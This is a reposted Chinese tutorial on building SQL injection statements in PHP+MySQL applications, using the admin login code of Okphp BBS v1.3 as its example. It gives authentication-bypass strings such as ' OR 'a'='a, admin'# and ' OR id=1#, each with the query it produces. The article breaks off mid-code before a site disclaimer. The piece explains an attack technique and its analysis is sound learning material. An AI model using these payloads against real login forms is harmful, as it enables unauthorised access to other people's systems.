Heim  >  Artikel  >  类库下载  >  攻击方法:谈php+mysql注射语句构造

攻击方法:谈php+mysql注射语句构造

高洛峰
高洛峰Original
2016-10-14 10:16:181290Durchsuche

一.前言:

  版本信息:Okphp BBS v1.3 开源版

  下载地址:http://www.cncode.com/SoftView.asp?SoftID=1800

  由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助。

  声明:文章所有提到的“漏洞”,都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。

  二.“漏洞”分析:

  1.admin/login.php注射导致绕过身份验证漏洞:

  代码:

  $conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);

  $password = md5($password);

  $q = "select id,group_id from $user_table where username='$username' and password='$password'";

  $res = sql_query($q,$conn);

  $row = sql_fetch_row($res);

  $q = "select id,group_id from $user_table where username='$username' and password='$password'"中

  $username 和 $password 没过滤, 很容易就绕过。

  对于select * from $user_table where username='$username' and password='$password'这样的语句改造的方法有:

  构造1(利用逻辑运算):$username=' OR 'a'='a $password=' OR 'a'='a

  相当于sql语句:

  select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'

  构造2(利用mysql里的注释语句# ,/* 把$password注释掉):$username=admin'#(或admin'/*)

  即:

  select * from $user_table where username='admin'#' and password='$password'"

  相当于:

  select * from $user_table where username='admin'

  在admin/login.php中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造2:

  select id,group_id from $user_table where username='admin'#' and password='$password'"

  相当于:

  select id,group_id from $user_table where username='admin'

  只要存在用户名为admin的就成立,如果不知道用户名,只知道对应的id,

  我们就可以这样构造:$username=' OR id=1#

  相当于:

  select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注释掉)

  我们接着往下看代码:

 if ($row[0]) {
  // If not admin or super moderator
  if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) {
  $login = 0;
  }
  else {
  $login = 1;
  }
  }
  // Fail to login---------------
  if (!$login) {
  write_log("Moderator login","0","password wrong");

  echo " 转载请注明来源:攻击方法:谈php+mysql注射语句构造


Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

In Verbindung stehende Artikel

Mehr sehen